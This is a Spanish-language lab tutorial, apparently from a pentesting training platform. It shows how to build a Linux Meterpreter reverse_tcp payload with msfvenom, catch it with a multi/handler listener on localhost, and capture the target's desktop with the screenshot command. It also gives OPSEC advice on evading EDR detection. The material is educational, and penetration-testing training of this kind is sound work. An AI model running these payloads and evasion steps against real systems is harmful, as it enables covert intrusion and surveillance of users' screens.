Capturar el Escritorio del Objetivo con screenshot en Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

Meterpreter es una carga útil avanzada y extensible dinámicamente que utiliza "stagers" de inyección de DLL en memoria y se extiende a través de la red en tiempo de ejecución. Es un componente central del Metasploit Framework y se utiliza para actividades de post-explotación en un sistema comprometido. Una de sus muchas características potentes es la capacidad de interactuar con el escritorio del objetivo.

En este laboratorio, aprenderá a utilizar el comando screenshot dentro de una sesión de Meterpreter. Este comando permite a un atacante capturar una imagen del escritorio actual del objetivo, proporcionando inteligencia valiosa sobre las actividades del usuario, las aplicaciones abiertas y la información sensible que pueda ser visible en la pantalla.

Establecer una sesión de Meterpreter en un objetivo gráfico

En este paso, simulará un ciclo de ataque completo en una sola máquina. Utilizará msfvenom para crear una carga útil, msfconsole para configurar un "listener" (escuchador) y luego ejecutará la carga útil para establecer una sesión de Meterpreter con su propia máquina. Esta es una forma segura y común de practicar técnicas de "penetration testing" (pruebas de penetración).

Primero, abra una terminal y use msfvenom para generar una carga útil de Meterpreter para Linux. Este comando crea un archivo ejecutable que, al ejecutarse, se conectará a nuestro "listener".

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
  • -p: Especifica la carga útil a utilizar.
  • LHOST=127.0.0.1: La dirección IP del "listening host" (host de escucha). Usamos 127.0.0.1 porque nuestro "listener" estará en la misma máquina.
  • LPORT=4444: El puerto al que se conectará.
  • -f elf: El formato de salida, que es un ejecutable para Linux.
  • -o: El nombre del archivo de salida.

A continuación, haga que la carga útil generada sea ejecutable:

chmod +x ~/project/payload.elf

Ahora, necesita configurar el "listener" para capturar la conexión de la carga útil. Inicie la consola de Metasploit Framework en modo silencioso:

msfconsole -q

Dentro de msfconsole, configure el multi/handler para escuchar la conexión entrante. Escriba los siguientes comandos uno por uno:

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Ahora, ejecute el "listener" como un trabajo en segundo plano para que aún pueda usar la consola:

exploit -j

Debería ver un mensaje que indica que el "handler" ha comenzado. Ahora, necesita ejecutar la carga útil. Abra una nueva segunda pestaña de terminal haciendo clic en el icono + en la ventana de la terminal. En esta nueva pestaña, ejecute la carga útil que creó:

~/project/payload.elf

Vuelva a su primera pestaña de terminal con msfconsole. Debería ver un mensaje que indica que se abrió una sesión de Meterpreter. Para verificarla e interactuar con ella, liste las sesiones activas:

sessions -l

Verá su nueva sesión con un ID, probablemente 1. Interactúe con ella usando su ID:

sessions -i 1

Su "prompt" debería cambiar a meterpreter >, confirmando que ahora tiene el control de la sesión.

Usar el comando screenshot para capturar la pantalla

En este paso, utilizará un comando de Meterpreter simple pero potente para capturar el escritorio del objetivo. Ahora que tiene una sesión activa de Meterpreter (indicada por el "prompt" meterpreter >), puede ejecutar comandos en el sistema comprometido.

El comando screenshot es directo. Captura toda la pantalla de la sesión de escritorio del usuario interactivo en la máquina objetivo.

Desde su "prompt" meterpreter >, simplemente escriba el comando y presione Enter:

screenshot

Meterpreter tardará un momento en capturar la pantalla y transferir los datos de la imagen de vuelta a su máquina atacante (su VM de LabEx). Al tener éxito, imprimirá un mensaje indicando dónde se ha guardado la captura de pantalla. El nombre del archivo será una cadena aleatoria de caracteres con una extensión .jpeg.

La salida se verá similar a esto:

Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg

Ahora ha capturado con éxito el escritorio del objetivo. El archivo de imagen se almacena localmente en su máquina, listo para que lo vea.

Localizar el archivo de imagen guardado en su máquina Kali

En este paso, localizará el archivo de captura de pantalla que se acaba de guardar en su máquina local. El comando screenshot guarda automáticamente la imagen capturada en el directorio desde el que lanzó msfconsole, que en nuestro caso es ~/project.

Primero, salga de la sesión de Meterpreter para volver al "prompt" de msfconsole. Puede hacerlo escribiendo exit:

exit

Ahora, salga de msfconsole para volver a su "prompt" de terminal zsh normal:

exit

Ahora está de vuelta en su terminal estándar. Para confirmar que el archivo está allí, use el comando ls -l para listar detalladamente el contenido de su directorio de proyecto.

ls -l ~/project

Debería ver el archivo .jpeg en la lista, junto con el archivo payload.elf que creó anteriormente. La salida se verá algo así, aunque el nombre del archivo JPEG será diferente:

-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex  54321 Nov 21 14:35 qKxRzYnL.jpeg

Esto confirma que la captura de pantalla se transfirió y guardó correctamente en su máquina.

Ver la captura de pantalla

En este paso, verá la imagen que capturó. Dado que el entorno de LabEx incluye un escritorio gráfico, puede usar un visor de imágenes directamente desde la línea de comandos para ver el contenido de la captura de pantalla.

Usaremos ristretto, un visor de imágenes simple para el entorno de escritorio Xfce. Para abrir la captura de pantalla, ejecutará el comando ristretto seguido de la ruta al archivo de imagen.

Debe reemplazar FILENAME.jpeg con el nombre de archivo aleatorio real de la captura de pantalla que localizó en el paso anterior. Por ejemplo, si su archivo se llama qKxRzYnL.jpeg, usaría ese nombre.

Ejecute el siguiente comando en su terminal, asegurándose de usar su nombre de archivo real:

ristretto ~/project/FILENAME.jpeg

Se abrirá una ventana del visor de imágenes, mostrando la captura de pantalla. ¡Como ejecutó el payload en su propia máquina, la captura de pantalla será de su propio escritorio de LabEx! Esta es una excelente manera de confirmar que el comando funcionó exactamente como se esperaba. Puede cerrar la ventana del visor de imágenes cuando haya terminado.

Discutir las preocupaciones de seguridad operacional de esta acción

En este paso, discutiremos las implicaciones de Seguridad Operacional (OPSEC) del uso del comando screenshot durante una prueba de penetración real. Si bien es un comando muy útil, no está exento de riesgos.

1. Generación de Ruido y Activación de Alertas: El comando screenshot funciona interactuando con las APIs gráficas del sistema operativo objetivo (como GDI en Windows o X11 en Linux). Productos de seguridad avanzados como Endpoint Detection and Response (EDR) o software antivirus monitorean estas llamadas a la API. Un proceso que normalmente no interactúa con el escritorio y que de repente toma una captura de pantalla es una actividad muy sospechosa que puede activar una alerta y exponer su presencia a los analistas de seguridad.

2. Dejar Evidencia: El comando da como resultado la creación de un archivo de imagen en la máquina del atacante. Este archivo es evidencia directa de la intrusión y de las acciones específicas tomadas. Si su máquina atacante fuera incautada o comprometida, estos datos podrían usarse para comprender el alcance de sus actividades.

3. Artefactos del Lado del Objetivo: Aunque el archivo de imagen final se guarda en su máquina, el acto de capturar la pantalla puede dejar artefactos temporales en el sistema objetivo. Esto podría incluir rastros en la memoria del sistema o registros generados por el software de seguridad que detectó la acción sospechosa. Un investigador forense hábil podría encontrar evidencia de que se tomó una captura de pantalla incluso sin encontrar la imagen en sí.

En un compromiso real, debe usar comandos como screenshot con prudencia. Es mejor usarlo cuando tiene un alto grado de confianza en que el sistema objetivo carece de monitoreo avanzado, o cuando la ganancia potencial de inteligencia supera el riesgo significativo de detección.

Resumen

En este laboratorio, adquirió experiencia práctica con una técnica fundamental de post-explotación. Aprendió con éxito cómo establecer una sesión de Meterpreter y utilizar el comando screenshot para capturar el escritorio de un sistema objetivo.

Recorrió todo el proceso:

  • Generación de un payload con msfvenom.
  • Configuración de un listener con msfconsole.
  • Ejecución del payload para obtener una reverse shell.
  • Interacción con la sesión de Meterpreter.
  • Captura de la pantalla y visualización de la imagen resultante.
  • Consideración de los riesgos de seguridad operacional (OPSEC) involucrados.

Esta habilidad es una parte valiosa del conjunto de herramientas de cualquier probador de penetración, ya que proporciona una forma directa de recopilar inteligencia visual de un host comprometido. ¡Felicitaciones por completar el laboratorio!